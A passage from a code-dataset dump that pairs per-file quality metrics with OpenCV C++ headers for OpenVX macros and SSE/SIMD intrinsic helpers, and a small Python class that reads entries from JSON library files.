"qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/openvx/ovx_defs.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
// Copyright (C) 2016, Intel Corporation, all rights reserved.
// Third party copyrights are property of their respective owners.
// OpenVX related definitions and declarations
#pragma once
#ifndef OPENCV_OVX_DEFS_HPP
#define OPENCV_OVX_DEFS_HPP
#include "cvconfig.h"
// utility macro for running OpenVX-based implementations
#ifdef HAVE_OPENVX
#define IVX_HIDE_INFO_WARNINGS
#define IVX_USE_OPENCV
#include "ivx.hpp"
namespace cv{
namespace ovx{
// Get common thread local OpenVX context
CV_EXPORTS_W ivx::Context& getOpenVXContext();
template <int kernel_id> inline bool skipSmallImages(int w, int h) { return w*h < 3840 * 2160; }
}}
#define CV_OVX_RUN(condition, func, ...) \
if (cv::useOpenVX() && (condition) && func) \
{ \
return __VA_ARGS__; \
}
#else
#define CV_OVX_RUN(condition, func, ...)
#endif // HAVE_OPENVX
// Throw an error in debug mode or try another implementation in release
#ifdef _DEBUG
#define VX_DbgThrow(s) CV_Error(cv::Error::StsInternal, (s))
#else
#define VX_DbgThrow(s) return false
#endif
#endif // OPENCV_OVX_DEFS_HPP
| 1,360 | ovx_defs | hpp | en | cpp | code | {"qsc_code_num_words": 186, "qsc_code_num_chars": 1360.0, "qsc_code_mean_word_length": 4.92473118, "qsc_code_frac_words_unique": 0.59677419, "qsc_code_frac_chars_top_2grams": 0.02947598, "qsc_code_frac_chars_top_3grams": 0.04257642, "qsc_code_frac_chars_top_4grams": 0.05240175, "qsc_code_frac_chars_dupe_5grams": 0.05895197, "qsc_code_frac_chars_dupe_6grams": 0.05895197, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01114206, "qsc_code_frac_chars_whitespace": 0.20808824, "qsc_code_size_file_byte": 1360.0, "qsc_code_num_lines": 48.0, "qsc_code_num_chars_line_max": 101.0, "qsc_code_num_chars_line_mean": 28.33333333, "qsc_code_frac_chars_alphabet": 0.83936862, "qsc_code_frac_chars_comments": 0.42794118, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18518519, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0218509, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.18518519, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.25925926, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/hal/intrin_sse_em.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html
#ifndef OPENCV_HAL_INTRIN_SSE_EM_HPP
#define OPENCV_HAL_INTRIN_SSE_EM_HPP
namespace cv
{
//! @cond IGNORED
CV_CPU_OPTIMIZATION_HAL_NAMESPACE_BEGIN
#define OPENCV_HAL_SSE_WRAP_1(fun, tp) \
inline tp _v128_##fun(const tp& a) \
{ return _mm_##fun(a); }
#define OPENCV_HAL_SSE_WRAP_2(fun, tp) \
inline tp _v128_##fun(const tp& a, const tp& b) \
{ return _mm_##fun(a, b); }
#define OPENCV_HAL_SSE_WRAP_3(fun, tp) \
inline tp _v128_##fun(const tp& a, const tp& b, const tp& c) \
{ return _mm_##fun(a, b, c); }
///////////////////////////// XOP /////////////////////////////
// [todo] define CV_XOP
#if 1 // CV_XOP
inline __m128i _v128_comgt_epu32(const __m128i& a, const __m128i& b)
{
const __m128i delta = _mm_set1_epi32((int)0x80000000);
return _mm_cmpgt_epi32(_mm_xor_si128(a, delta), _mm_xor_si128(b, delta));
}
// wrapping XOP
#else
OPENCV_HAL_SSE_WRAP_2(_v128_comgt_epu32, __m128i)
#endif // !CV_XOP
///////////////////////////// SSE4.1 /////////////////////////////
#if !CV_SSE4_1
/** Swizzle **/
inline __m128i _v128_blendv_epi8(const __m128i& a, const __m128i& b, const __m128i& mask)
{ return _mm_xor_si128(a, _mm_and_si128(_mm_xor_si128(b, a), mask)); }
/** Convert **/
// 8 >> 16
inline __m128i _v128_cvtepu8_epi16(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpacklo_epi8(a, z);
}
inline __m128i _v128_cvtepi8_epi16(const __m128i& a)
{ return _mm_srai_epi16(_mm_unpacklo_epi8(a, a), 8); }
// 8 >> 32
inline __m128i _v128_cvtepu8_epi32(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpacklo_epi16(_mm_unpacklo_epi8(a, z), z);
}
inline __m128i _v128_cvtepi8_epi32(const __m128i& a)
{
__m128i r = _mm_unpacklo_epi8(a, a);
r = _mm_unpacklo_epi8(r, r);
return _mm_srai_epi32(r, 24);
}
// 16 >> 32
inline __m128i _v128_cvtepu16_epi32(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpacklo_epi16(a, z);
}
inline __m128i _v128_cvtepi16_epi32(const __m128i& a)
{ return _mm_srai_epi32(_mm_unpacklo_epi16(a, a), 16); }
// 32 >> 64
inline __m128i _v128_cvtepu32_epi64(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpacklo_epi32(a, z);
}
inline __m128i _v128_cvtepi32_epi64(const __m128i& a)
{ return _mm_unpacklo_epi32(a, _mm_srai_epi32(a, 31)); }
/** Arithmetic **/
inline __m128i _v128_mullo_epi32(const __m128i& a, const __m128i& b)
{
__m128i c0 = _mm_mul_epu32(a, b);
__m128i c1 = _mm_mul_epu32(_mm_srli_epi64(a, 32), _mm_srli_epi64(b, 32));
__m128i d0 = _mm_unpacklo_epi32(c0, c1);
__m128i d1 = _mm_unpackhi_epi32(c0, c1);
return _mm_unpacklo_epi64(d0, d1);
}
/** Math **/
inline __m128i _v128_min_epu32(const __m128i& a, const __m128i& b)
{ return _v128_blendv_epi8(a, b, _v128_comgt_epu32(a, b)); }
// wrapping SSE4.1
#else
OPENCV_HAL_SSE_WRAP_1(cvtepu8_epi16, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepi8_epi16, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepu8_epi32, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepi8_epi32, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepu16_epi32, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepi16_epi32, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepu32_epi64, __m128i)
OPENCV_HAL_SSE_WRAP_1(cvtepi32_epi64, __m128i)
OPENCV_HAL_SSE_WRAP_2(min_epu32, __m128i)
OPENCV_HAL_SSE_WRAP_2(mullo_epi32, __m128i)
OPENCV_HAL_SSE_WRAP_3(blendv_epi8, __m128i)
#endif // !CV_SSE4_1
///////////////////////////// Revolutionary /////////////////////////////
/** Convert **/
// 16 << 8
inline __m128i _v128_cvtepu8_epi16_high(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpackhi_epi8(a, z);
}
inline __m128i _v128_cvtepi8_epi16_high(const __m128i& a)
{ return _mm_srai_epi16(_mm_unpackhi_epi8(a, a), 8); }
// 32 << 16
inline __m128i _v128_cvtepu16_epi32_high(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpackhi_epi16(a, z);
}
inline __m128i _v128_cvtepi16_epi32_high(const __m128i& a)
{ return _mm_srai_epi32(_mm_unpackhi_epi16(a, a), 16); }
// 64 << 32
inline __m128i _v128_cvtepu32_epi64_high(const __m128i& a)
{
const __m128i z = _mm_setzero_si128();
return _mm_unpackhi_epi32(a, z);
}
inline __m128i _v128_cvtepi32_epi64_high(const __m128i& a)
{ return _mm_unpackhi_epi32(a, _mm_srai_epi32(a, 31)); }
/** Miscellaneous **/
inline __m128i _v128_packs_epu32(const __m128i& a, const __m128i& b)
{
const __m128i m = _mm_set1_epi32(65535);
__m128i am = _v128_min_epu32(a, m);
__m128i bm = _v128_min_epu32(b, m);
#if CV_SSE4_1
return _mm_packus_epi32(am, bm);
#else
const __m128i d = _mm_set1_epi32(32768), nd = _mm_set1_epi16(-32768);
am = _mm_sub_epi32(am, d);
bm = _mm_sub_epi32(bm, d);
am = _mm_packs_epi32(am, bm);
return _mm_sub_epi16(am, nd);
#endif
}
template<int i>
inline int64 _v128_extract_epi64(const __m128i& a)
{
#if defined(CV__SIMD_HAVE_mm_extract_epi64) || (CV_SSE4_1 && (defined(__x86_64__)/*GCC*/ || defined(_M_X64)/*MSVC*/))
#define CV__SIMD_NATIVE_mm_extract_epi64 1
return _mm_extract_epi64(a, i);
#else
CV_DECL_ALIGNED(16) int64 tmp[2];
_mm_store_si128((__m128i*)tmp, a);
return tmp[i];
#endif
}
CV_CPU_OPTIMIZATION_HAL_NAMESPACE_END
//! @endcond
} // cv::
#endif // OPENCV_HAL_INTRIN_SSE_EM_HPP
| 5,424 | intrin_sse_em | hpp | en | cpp | code | {"qsc_code_num_words": 852, "qsc_code_num_chars": 5424.0, "qsc_code_mean_word_length": 3.91549296, "qsc_code_frac_words_unique": 0.15962441, "qsc_code_frac_chars_top_2grams": 0.10791367, "qsc_code_frac_chars_top_3grams": 0.06594724, "qsc_code_frac_chars_top_4grams": 0.07194245, "qsc_code_frac_chars_dupe_5grams": 0.56055156, "qsc_code_frac_chars_dupe_6grams": 0.42745803, "qsc_code_frac_chars_dupe_7grams": 0.35191847, "qsc_code_frac_chars_dupe_8grams": 0.27667866, "qsc_code_frac_chars_dupe_9grams": 0.17086331, "qsc_code_frac_chars_dupe_10grams": 0.14028777, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.13990974, "qsc_code_frac_chars_whitespace": 0.14214602, "qsc_code_size_file_byte": 5424.0, "qsc_code_num_lines": 180.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 30.13333333, "qsc_code_frac_chars_alphabet": 0.57704707, "qsc_code_frac_chars_comments": 0.13919617, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1221374, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00214179, "qsc_code_frac_lines_prompt_comments": 0.00555556, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.36641221, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.36641221, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/library_manager.py | """
Description: This script is responsible for interaction with json files designated as libraries which store large amounts of static data.
"""
from pathlib import Path
import json
from Nova2.app.helpers import Singleton
class LibraryManager(Singleton):
def __init__(self) -> None:
"""
This class is used to interact with libraries.
"""
self._library_path = Path(__file__).parent.parent / "data" / "libraries"
def retrieve_datapoint(self, library_name: str, datapoint_name: str) -> dict:
"""
Retrieve a specific datapoint from a library.
Arguments:
library_name (str): The name of the library to search for the datapoint in.
datapoint_name (str): The name of the datapoint to look for.
Returns:
dict: The contents of the datapoint.
"""
try:
data = json.loads((self._library_path / f"{library_name}.json").read_text())
return data[datapoint_name]
except FileNotFoundError:
raise FileNotFoundError(f"The library '{library_name}' does not exist.")
except KeyError:
raise KeyError(f"The datapoint '{datapoint_name}' does not exist in the library '{library_name}'.")
| 1,252 | library_manager | py | en | python | code | {"qsc_code_num_words": 153, "qsc_code_num_chars": 1252.0, "qsc_code_mean_word_length": 5.22875817, "qsc_code_frac_words_unique": 0.4379085, "qsc_code_frac_chars_top_2grams": 0.06875, "qsc_code_frac_chars_top_3grams": 0.0375, "qsc_code_frac_chars_top_4grams": 0.035, "qsc_code_frac_chars_dupe_5grams": 0.0475, "qsc_code_frac_chars_dupe_6grams": 0.0475, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00107411, "qsc_code_frac_chars_whitespace": 0.25638978, "qsc_code_size_file_byte": 1252.0, "qsc_code_num_lines": 34.0, "qsc_code_num_chars_line_max": 138.0, "qsc_code_num_chars_line_mean": 36.82352941, "qsc_code_frac_chars_alphabet": 0.85821697, "qsc_code_frac_chars_comments": 0.34984026, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.21606648, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.14285714, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.21428571, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.5, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/hal/simd_utils.impl.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html
// This header is not standalone. Don't include directly, use "intrin.hpp" instead.
#ifdef OPENCV_HAL_INTRIN_HPP // defined in intrin.hpp
#if CV_SIMD128 || CV_SIMD128_CPP
template<typename _T> struct Type2Vec128_Traits;
#define CV_INTRIN_DEF_TYPE2VEC128_TRAITS(type_, vec_type_) \
template<> struct Type2Vec128_Traits<type_> \
{ \
typedef vec_type_ vec_type; \
}
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(uchar, v_uint8x16);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(schar, v_int8x16);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(ushort, v_uint16x8);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(short, v_int16x8);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(unsigned, v_uint32x4);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(int, v_int32x4);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(float, v_float32x4);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(uint64, v_uint64x2);
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(int64, v_int64x2);
#if CV_SIMD128_64F
CV_INTRIN_DEF_TYPE2VEC128_TRAITS(double, v_float64x2);
#endif
template<typename _T> static inline
typename Type2Vec128_Traits<_T>::vec_type v_setall(const _T& a);
template<> inline Type2Vec128_Traits< uchar>::vec_type v_setall< uchar>(const uchar& a) { return v_setall_u8(a); }
template<> inline Type2Vec128_Traits< schar>::vec_type v_setall< schar>(const schar& a) { return v_setall_s8(a); }
template<> inline Type2Vec128_Traits<ushort>::vec_type v_setall<ushort>(const ushort& a) { return v_setall_u16(a); }
template<> inline Type2Vec128_Traits< short>::vec_type v_setall< short>(const short& a) { return v_setall_s16(a); }
template<> inline Type2Vec128_Traits< uint>::vec_type v_setall< uint>(const uint& a) { return v_setall_u32(a); }
template<> inline Type2Vec128_Traits< int>::vec_type v_setall< int>(const int& a) { return v_setall_s32(a); }
template<> inline Type2Vec128_Traits<uint64>::vec_type v_setall<uint64>(const uint64& a) { return v_setall_u64(a); }
template<> inline Type2Vec128_Traits< int64>::vec_type v_setall< int64>(const int64& a) { return v_setall_s64(a); }
template<> inline Type2Vec128_Traits< float>::vec_type v_setall< float>(const float& a) { return v_setall_f32(a); }
#if CV_SIMD128_64F
template<> inline Type2Vec128_Traits<double>::vec_type v_setall<double>(const double& a) { return v_setall_f64(a); }
#endif
#endif // SIMD128
#if CV_SIMD256
template<typename _T> struct Type2Vec256_Traits;
#define CV_INTRIN_DEF_TYPE2VEC256_TRAITS(type_, vec_type_) \
template<> struct Type2Vec256_Traits<type_> \
{ \
typedef vec_type_ vec_type; \
}
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(uchar, v_uint8x32);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(schar, v_int8x32);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(ushort, v_uint16x16);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(short, v_int16x16);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(unsigned, v_uint32x8);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(int, v_int32x8);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(float, v_float32x8);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(uint64, v_uint64x4);
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(int64, v_int64x4);
#if CV_SIMD256_64F
CV_INTRIN_DEF_TYPE2VEC256_TRAITS(double, v_float64x4);
#endif
template<typename _T> static inline
typename Type2Vec256_Traits<_T>::vec_type v256_setall(const _T& a);
template<> inline Type2Vec256_Traits< uchar>::vec_type v256_setall< uchar>(const uchar& a) { return v256_setall_u8(a); }
template<> inline Type2Vec256_Traits< schar>::vec_type v256_setall< schar>(const schar& a) { return v256_setall_s8(a); }
template<> inline Type2Vec256_Traits<ushort>::vec_type v256_setall<ushort>(const ushort& a) { return v256_setall_u16(a); }
template<> inline Type2Vec256_Traits< short>::vec_type v256_setall< short>(const short& a) { return v256_setall_s16(a); }
template<> inline Type2Vec256_Traits< uint>::vec_type v256_setall< uint>(const uint& a) { return v256_setall_u32(a); }
template<> inline Type2Vec256_Traits< int>::vec_type v256_setall< int>(const int& a) { return v256_setall_s32(a); }
template<> inline Type2Vec256_Traits<uint64>::vec_type v256_setall<uint64>(const uint64& a) { return v256_setall_u64(a); }
template<> inline Type2Vec256_Traits< int64>::vec_type v256_setall< int64>(const int64& a) { return v256_setall_s64(a); }
template<> inline Type2Vec256_Traits< float>::vec_type v256_setall< float>(const float& a) { return v256_setall_f32(a); }
#if CV_SIMD256_64F
template<> inline Type2Vec256_Traits<double>::vec_type v256_setall<double>(const double& a) { return v256_setall_f64(a); }
#endif
#endif // SIMD256
#if CV_SIMD512
template<typename _T> struct Type2Vec512_Traits;
#define CV_INTRIN_DEF_TYPE2VEC512_TRAITS(type_, vec_type_) \
template<> struct Type2Vec512_Traits<type_> \
{ \
typedef vec_type_ vec_type; \
}
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(uchar, v_uint8x64);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(schar, v_int8x64);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(ushort, v_uint16x32);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(short, v_int16x32);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(unsigned, v_uint32x16);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(int, v_int32x16);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(float, v_float32x16);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(uint64, v_uint64x8);
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(int64, v_int64x8);
#if CV_SIMD512_64F
CV_INTRIN_DEF_TYPE2VEC512_TRAITS(double, v_float64x8);
#endif
template<typename _T> static inline
typename Type2Vec512_Traits<_T>::vec_type v512_setall(const _T& a);
template<> inline Type2Vec512_Traits< uchar>::vec_type v512_setall< uchar>(const uchar& a) { return v512_setall_u8(a); }
template<> inline Type2Vec512_Traits< schar>::vec_type v512_setall< schar>(const schar& a) { return v512_setall_s8(a); }
template<> inline Type2Vec512_Traits<ushort>::vec_type v512_setall<ushort>(const ushort& a) { return v512_setall_u16(a); }
template<> inline Type2Vec512_Traits< short>::vec_type v512_setall< short>(const short& a) { return v512_setall_s16(a); }
template<> inline Type2Vec512_Traits< uint>::vec_type v512_setall< uint>(const uint& a) { return v512_setall_u32(a); }
template<> inline Type2Vec512_Traits< int>::vec_type v512_setall< int>(const int& a) { return v512_setall_s32(a); }
template<> inline Type2Vec512_Traits<uint64>::vec_type v512_setall<uint64>(const uint64& a) { return v512_setall_u64(a); }
template<> inline Type2Vec512_Traits< int64>::vec_type v512_setall< int64>(const int64& a) { return v512_setall_s64(a); }
template<> inline Type2Vec512_Traits< float>::vec_type v512_setall< float>(const float& a) { return v512_setall_f32(a); }
#if CV_SIMD512_64F
template<> inline Type2Vec512_Traits<double>::vec_type v512_setall<double>(const double& a) { return v512_setall_f64(a); }
#endif
#endif // SIMD512
#if CV_SIMD_WIDTH == 16
template<typename _T> static inline
typename Type2Vec128_Traits<_T>::vec_type vx_setall(const _T& a) { return v_setall(a); }
#elif CV_SIMD_WIDTH == 32
template<typename _T> static inline
typename Type2Vec256_Traits<_T>::vec_type vx_setall(const _T& a) { return v256_setall(a); }
#elif CV_SIMD_WIDTH == 64
template<typename _T> static inline
typename Type2Vec512_Traits<_T>::vec_type vx_setall(const _T& a) { return v512_setall(a); }
#else
#error "Build configuration error, unsupported CV_SIMD_WIDTH"
#endif
#endif // OPENCV_HAL_INTRIN_HPP
| 7,371 | simd_utils.impl | hpp | en | cpp | code | {"qsc_code_num_words": 1097, "qsc_code_num_chars": 7371.0, "qsc_code_mean_word_length": 4.91340018, "qsc_code_frac_words_unique": 0.11850501, "qsc_code_frac_chars_top_2grams": 0.05844156, "qsc_code_frac_chars_top_3grams": 0.06734694, "qsc_code_frac_chars_top_4grams": 0.04489796, "qsc_code_frac_chars_dupe_5grams": 0.68163265, "qsc_code_frac_chars_dupe_6grams": 0.30315399, "qsc_code_frac_chars_dupe_7grams": 0.10686456, "qsc_code_frac_chars_dupe_8grams": 0.10408163, "qsc_code_frac_chars_dupe_9grams": 0.10408163, "qsc_code_frac_chars_dupe_10grams": 0.10408163, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.10425822, "qsc_code_frac_chars_whitespace": 0.10473477, "qsc_code_size_file_byte": 7371.0, "qsc_code_num_lines": 146.0, "qsc_code_num_chars_line_max": 123.0, "qsc_code_num_chars_line_mean": 50.48630137, "qsc_code_frac_chars_alphabet": 0.7125322, "qsc_code_frac_chars_comments": 0.04884005, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.25, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00741692, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.38793103, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.38793103, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, 